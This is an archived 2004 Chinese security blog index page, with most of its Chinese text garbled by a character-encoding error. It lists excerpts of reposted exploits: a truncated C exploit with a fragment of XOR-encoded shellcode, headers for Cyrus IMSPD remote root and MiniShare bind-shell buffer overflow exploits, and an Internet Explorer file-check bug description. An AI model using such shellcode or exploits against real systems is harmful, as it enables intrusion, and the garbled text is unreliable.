ïw¤ÎBlog

来源: BlogBus 原始链接: http://www.blogbus.com:80/blogbus/blog/index.php?blogid=16980&pg=3&cat= 存档链接: https://web.archive.org/web/20041124063022id_/http://www.blogbus.com:80/blogbus/blog/index.php?blogid=16980&pg=3&cat=

ïw¤ÎBlog ÃÎ£¬·ÉÆðµÄµØ·½ diary (33) article (45) exploit (57) 2004 Äê 11 ÔÂ Sun Mon Tue Wen Thu Fri Sat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ×îÐÂÎÄÕÂ SLmail 5.x POP3 Remote Pass Buffer Overflow Exploit Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit Ç÷ÊÆ¿Æ¼¼½«·¢²¼ÐÂ¿îÇ÷ÊÆ¿Æ¼¼ÍøÂç²¡¶¾Ç½ VeriSign³Æ£º90%ÍøÂç¹¥»÷À´×ÔÃÀ¹ú¿í´øÓÃ»§ UBB.Threads 6.2.-6.3. one char bruteforce Exploit Multiple Antivirus Products Virus Detection Bypass PoC Exploit Eudora 6.2 Remote Attachment Spoofing Proof of Concept IPSwitch-IMail 8.13 Delete Command stack overflow Exploit Kerio Personal Firewall Multiple IP Options Denial of Service PoC NetNote Server v2.2 build 230 ×îÐÂÆÀÂÛ ¹Â¹â½£Òþ : Ö÷°åÏÔ¿¨»úÏä»»¡£. ¹Â¹â½£Òþ : ºÇºÇ¡£¡£B4½Ãñ£¬. alvashev : Í¬ÀÖÍ¬ÀÖ . Á´½Ó 56TECH ÄÏÒþÊÀ¼Ò Ã·ÁÖÐ¡í¬ ÍøÂç¼¼ÊõÁªÃË °µµØÇ±Á÷ ´æµµ 2004/05/31/-2004/05/31 2004/06/01/-2004/06/04 2004/06/05/-2004/06/28 2004/06/29/-2004/10/27 2004/10/28/-2004/11/05 2004/11/06/-2004/11/13 2004-11-12 07:04 - [ exploit ] #include <stdio.h> #include <windows.h> #include <winsock.h>

#pragma comment(lib, "ws2_32")

unsigned char EndChar[]= "x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A"; // HTTP/1.0

unsigned char shellcode[] = "xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05"

"xe8xedxffxffxff"

/* 254 bytes shellcode, xor with 0xee / / offset .............. ÔÄ¶ÁÈ«ÎÄ | ÆÀÂÛ(0) | ÒýÓÃ(0) bamb00 @ 2004-11-12 07:04 | ±à¼ 2004-11-11 12:14 - [ exploit ] /* ** Cyrus IMSPD Remote Root Exploit ** ------------------------------- ** ** Bug found by: Dark Eagle <darkeagle [at] list d0t ru> ** Exploit coded by: Carlos Barros <barros [at] barrossecurity d0t com> ** Home Page: http://www.barrossecurity.com ** ** Exploitation techinique: ** ** This bug is a simple format string bug. While coding this exploit, I found just two *.............. ÔÄ¶ÁÈ«ÎÄ | ÆÀÂÛ(0) | ÒýÓÃ(0) bamb00 @ 2004-11-11 12:14 | ±à¼ 2004-11-11 12:13 - [ exploit ] /

MiniShare <= 1.4.1, Remote Buffer Overflow Exploit v0.1. Bind a shellcode to the port 101.

Full disclosure and exploit by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet 07 november 2004

Thanx to HDMoore and Metasploit.com for their kickass ASM work.

WHAT IS MINISHARE

Homepage - http://minishare.sourceforge.net/ .............. ÔÄ¶ÁÈ«ÎÄ | ÆÀÂÛ(0) | ÒýÓÃ(0) bamb00 @ 2004-11-11 12:13 | ±à¼ 2004-11-11 12:12 - [ exploit ] Description:There is a security bug in Microsoft Internet Explorer, which allows tocheck up existence of local files in system directories (Root (C:/),WINDOWS, SYSTEM, SYSTEM32, DESKTOP, COMMAND, Internet Explorer).Successful exploitation allows the author of a malicious web site to planattacks against the target computer.The bug occurs, because Microsoft Internet Explorer .............. ÔÄ¶ÁÈ«ÎÄ | ÆÀÂÛ(0) | ÒýÓÃ(0) bamb00 @ 2004-11-11 12:12 | ±à¼ 2004-11-10 12:08 - [ article ] ÐÂ»ªÍøÄÏ²ý£±£±ÔÂ£±£°ÈÕµç£¨ÕÔÀÚ ÕÅÃô À¶ÌìÎµ£©¼ÇÕß´ÓÕýÔÚ½Î÷ÄÏ²ý¾ÙÐÐµÄµÚËÄ½ìÖÐ¹úÍøÂçÃ½ÌåÂÛÌ³ÁË½âµ½£¬ÖÐ¹ú¼ÆËã»úÓÃ»§ÔâÊÜºÚ¿Í¹¥»÷´ÎÊýÄê¾ùÉÏÉýÖÁÉÙ£±£°£¥£¬Ôö³¤ËÙ¶ÈÒÑÓë·¢´ï¹ú¼Ò»ù±¾ÏàÍ¬¡£ ¹ú¼Ò¼ÆËã»úÍøÂç·À·¶ÖÐÐÄÖ÷ÈÎÖúÀíÁõ±¦Ðñ²©Ê¿³Æ£¬ÓÉÓÚ¶àÊýÔâÊÜºÚ¿Í¹¥»÷µÄµ¥Î»²»Ô¸ÒâÖ÷¶¯¶ÔÍâ¹«²¼ÊÜ¹¥»÷Çé¿ö£¬ºÜÄÑÍ³¼ÆÖÐ¹ú¼ÆËã»úÓÃ»§ÔâÊÜ¹¥»÷µÄ¾«È·´ÎÊý£¬µ«¹ú¼ÒÓÐ¹Ø²¿ÃÅµÄµ÷²é±íÃ÷£¬Ôö³¤ËÙ¶ÈÖÁÉÙ´ïµ½£±£°£¥¡£.............. ÔÄ¶ÁÈ«ÎÄ | ÆÀÂÛ(0) | ÒýÓÃ(0) bamb00 @ 2004-11-10 12:08 | ±à¼ 2004-11-10 12:07 - [ article ] Ò»ÖÖ¶ñÒâ³ÌÐòÒÑ¾¸ÐÈ¾ÁË¶íÂÞË¹µÄ²¿·ÖµçÄÔ£¬ÕâÐ©Ä¾Âí³ÌÐò»áÀûÓÃ¶í¹úµÄ¶ÌÐÅ·þÎñÏòÊÖ»úÓÃ»§·¢ËÍÀ¬»ø¶ÌÏûÏ¢¡£ ÕâÖÖÌØÂåÒÁÄ¾ÂíµÄÃû³ÆÎªTroj/Delf-HA£¬ËüÄÜ¹»¿ØÖÆ±»¸ÐÈ¾µÄµçÄÔ£¬È»ºóÀûÓÃ¶íÂÞË¹µÄ¶ÌÐÅ·þÎñÏµÍ³£¬ÏòÊÖ»úÓÃ»§·¢ËÍÀ¬»ø¶ÌÏûÏ¢¡£ Sophos·´²¡¶¾¹«Ë¾µÄ¸ß¼¶°²È«·ÖÎöÔ±Gregg MastorasËµ£º¡°ÊÖ»úÀ¬»øÓÊ¼þ·Ç³£ÁîÈËÌÖÑá£¬Ëü¿ÉÄÜ¸øÓÃ»§Ôì³É¾Þ´óµÄ»°·Ñ¸ºµ£¡£¶ÌÏûÏ¢À¬»øÓÊ¼þÖÆ.............. ÔÄ¶ÁÈ«ÎÄ | ÆÀÂÛ(0) | ÒýÓÃ(0) bamb00 @ 2004-11-10 12:07 | ±à¼ ·ÖÒ³: [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] ×îºóÒ³ Ä£°åÉè¼Æ£º zhou